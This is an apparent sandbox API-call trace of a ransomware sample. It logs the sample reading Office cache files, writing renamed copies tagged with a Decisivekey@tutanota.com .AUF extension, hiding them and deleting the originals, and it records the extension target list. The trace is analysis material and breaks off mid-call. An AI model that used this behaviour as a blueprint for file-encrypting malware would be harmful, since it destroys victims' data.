GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.170] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.170] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.170] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.170] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0212.175] GetLastError () returned 0x0 [0212.175] ReadFile (in: hFile=0x168, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x1a588, lpOverlapped=0x0) returned 1 [0212.228] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0212.232] ReadFile (in: hFile=0x168, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.233] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.233] SetEndOfFile (hFile=0x1e4) returned 1 [0212.233] CloseHandle (hObject=0x1e4) returned 1 [0212.234] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.234] SetEndOfFile (hFile=0x168) returned 1 [0212.235] CloseHandle (hObject=0x168) returned 1 [0212.235] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0212.235] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0212.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.235] lstrlenW (lpString=".doc") returned 4 [0212.235] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0212.235] lstrlenW (lpString=".docx") returned 5 [0212.235] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0212.235] lstrlenW (lpString=".pdf") returned 4 [0212.235] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0212.235] lstrlenW (lpString=".xls") returned 4 [0212.235] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0212.235] lstrlenW (lpString=".xlsx") returned 5 [0212.235] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0212.235] lstrlenW (lpString=".ppt") returned 4 [0212.235] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0212.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.235] lstrlenW (lpString=".zip") returned 4 [0212.235] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0212.235] lstrlenW (lpString=".rar") returned 4 [0212.235] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0212.235] lstrlenW (lpString=".bz2") returned 4 [0212.235] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0212.235] lstrlenW (lpString=".7z") returned 3 [0212.236] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0212.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.236] lstrlenW (lpString=".dbf") returned 4 [0212.236] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0212.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.236] lstrlenW (lpString=".1cd") returned 4 [0212.236] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0212.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.236] lstrlenW (lpString=".jpg") returned 4 [0212.236] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0212.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.236] lstrlenW (lpString=".doc") returned 4 [0212.236] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0212.236] lstrlenW (lpString=".docx") returned 5 [0212.236] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0212.236] lstrlenW (lpString=".pdf") returned 4 [0212.236] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0212.236] lstrlenW (lpString=".xls") returned 4 [0212.236] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0212.236] lstrlenW (lpString=".xlsx") returned 5 [0212.236] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0212.236] lstrlenW (lpString=".ppt") returned 4 [0212.236] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0212.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.236] lstrlenW (lpString=".zip") returned 4 [0212.236] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0212.236] lstrlenW (lpString=".rar") returned 4 [0212.236] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0212.236] lstrlenW (lpString=".bz2") returned 4 [0212.236] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0212.236] lstrlenW (lpString=".7z") returned 3 [0212.236] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0212.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.236] lstrlenW (lpString=".dbf") returned 4 [0212.236] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0212.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.236] lstrlenW (lpString=".1cd") returned 4 [0212.236] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0212.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0212.236] lstrlenW (lpString=".jpg") returned 4 [0212.236] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0212.236] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0212.236] lstrlenW (lpString="dwdcw20.dll") returned 11 [0212.236] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.832] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=526176) returned 1 [0212.832] CloseHandle (hObject=0x1e8) returned 1 [0212.832] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0212.832] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.832] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.832] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.832] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.832] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.833] GetLastError () returned 0x0 [0212.833] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x80760, lpOverlapped=0x0) returned 1 [0212.872] WriteFile (in: hFile=0x208, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x80770, lpOverlapped=0x0) returned 1 [0212.881] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.881] WriteFile (in: hFile=0x208, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.882] SetEndOfFile (hFile=0x208) returned 1 [0212.882] CloseHandle (hObject=0x208) returned 1 [0212.882] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.882] SetEndOfFile (hFile=0x1e8) returned 1 [0212.885] CloseHandle (hObject=0x1e8) returned 1 [0212.886] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0212.887] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0212.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.887] lstrlenW (lpString=".doc") returned 4 [0212.887] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0212.887] lstrlenW (lpString=".docx") returned 5 [0212.887] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0212.887] lstrlenW (lpString=".pdf") returned 4 [0212.887] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0212.887] lstrlenW (lpString=".xls") returned 4 [0212.887] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0212.887] lstrlenW (lpString=".xlsx") returned 5 [0212.887] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0212.887] lstrlenW (lpString=".ppt") returned 4 [0212.887] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0212.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.887] lstrlenW (lpString=".zip") returned 4 [0212.887] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0212.887] lstrlenW (lpString=".rar") returned 4 [0212.887] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0212.887] lstrlenW (lpString=".bz2") returned 4 [0212.887] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0212.887] lstrlenW (lpString=".7z") returned 3 [0212.887] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0212.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.887] lstrlenW (lpString=".dbf") returned 4 [0212.887] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0212.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.887] lstrlenW (lpString=".1cd") returned 4 [0212.887] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0212.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.887] lstrlenW (lpString=".jpg") returned 4 [0212.887] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0212.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.888] lstrlenW (lpString=".doc") returned 4 [0212.888] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0212.888] lstrlenW (lpString=".docx") returned 5 [0212.888] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0212.888] lstrlenW (lpString=".pdf") returned 4 [0212.888] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0212.888] lstrlenW (lpString=".xls") returned 4 [0212.888] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0212.888] lstrlenW (lpString=".xlsx") returned 5 [0212.888] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0212.888] lstrlenW (lpString=".ppt") returned 4 [0212.888] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0212.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.888] lstrlenW (lpString=".zip") returned 4 [0212.888] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0212.888] lstrlenW (lpString=".rar") returned 4 [0212.888] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0212.888] lstrlenW (lpString=".bz2") returned 4 [0212.888] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0212.888] lstrlenW (lpString=".7z") returned 3 [0212.888] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0212.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.888] lstrlenW (lpString=".dbf") returned 4 [0212.888] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0212.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.888] lstrlenW (lpString=".1cd") returned 4 [0212.888] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0212.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0212.888] lstrlenW (lpString=".jpg") returned 4 [0212.888] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0212.888] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0212.888] lstrlenW (lpString="msvcr90.dll") returned 11 [0212.888] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.888] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=655872) returned 1 [0212.889] CloseHandle (hObject=0x1e8) returned 1 [0212.889] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0212.889] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.889] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.889] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.889] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.889] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.889] GetLastError () returned 0x0 [0212.889] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xa0200, lpOverlapped=0x0) returned 1 [0212.938] WriteFile (in: hFile=0x208, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0212.952] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.952] WriteFile (in: hFile=0x208, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.952] SetEndOfFile (hFile=0x208) returned 1 [0212.952] CloseHandle (hObject=0x208) returned 1 [0212.952] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.952] SetEndOfFile (hFile=0x1e8) returned 1 [0212.959] CloseHandle (hObject=0x1e8) returned 1 [0212.959] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0212.959] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0212.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.960] lstrlenW (lpString=".doc") returned 4 [0212.960] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0212.960] lstrlenW (lpString=".docx") returned 5 [0212.960] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0212.960] lstrlenW (lpString=".pdf") returned 4 [0212.960] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0212.960] lstrlenW (lpString=".xls") returned 4 [0212.960] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0212.960] lstrlenW (lpString=".xlsx") returned 5 [0212.960] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0212.960] lstrlenW (lpString=".ppt") returned 4 [0212.960] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0212.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.960] lstrlenW (lpString=".zip") returned 4 [0212.960] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0212.960] lstrlenW (lpString=".rar") returned 4 [0212.960] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0212.960] lstrlenW (lpString=".bz2") returned 4 [0212.960] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0212.960] lstrlenW (lpString=".7z") returned 3 [0212.960] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0212.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.960] lstrlenW (lpString=".dbf") returned 4 [0212.960] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0212.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.960] lstrlenW (lpString=".1cd") returned 4 [0212.960] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0212.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.960] lstrlenW (lpString=".jpg") returned 4 [0212.960] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0212.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.961] lstrlenW (lpString=".doc") returned 4 [0212.961] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0212.961] lstrlenW (lpString=".docx") returned 5 [0212.961] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0212.961] lstrlenW (lpString=".pdf") returned 4 [0212.961] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0212.961] lstrlenW (lpString=".xls") returned 4 [0212.961] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0212.961] lstrlenW (lpString=".xlsx") returned 5 [0212.961] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0212.961] lstrlenW (lpString=".ppt") returned 4 [0212.961] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0212.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.961] lstrlenW (lpString=".zip") returned 4 [0212.961] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0212.961] lstrlenW (lpString=".rar") returned 4 [0212.961] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0212.961] lstrlenW (lpString=".bz2") returned 4 [0212.961] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0212.961] lstrlenW (lpString=".7z") returned 3 [0212.961] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0212.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.961] lstrlenW (lpString=".dbf") returned 4 [0212.961] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0212.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.961] lstrlenW (lpString=".1cd") returned 4 [0212.961] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0212.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0212.961] lstrlenW (lpString=".jpg") returned 4 [0212.961] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0212.962] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0212.962] lstrlenW (lpString="OfficeLR.cab") returned 12 [0212.962] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), 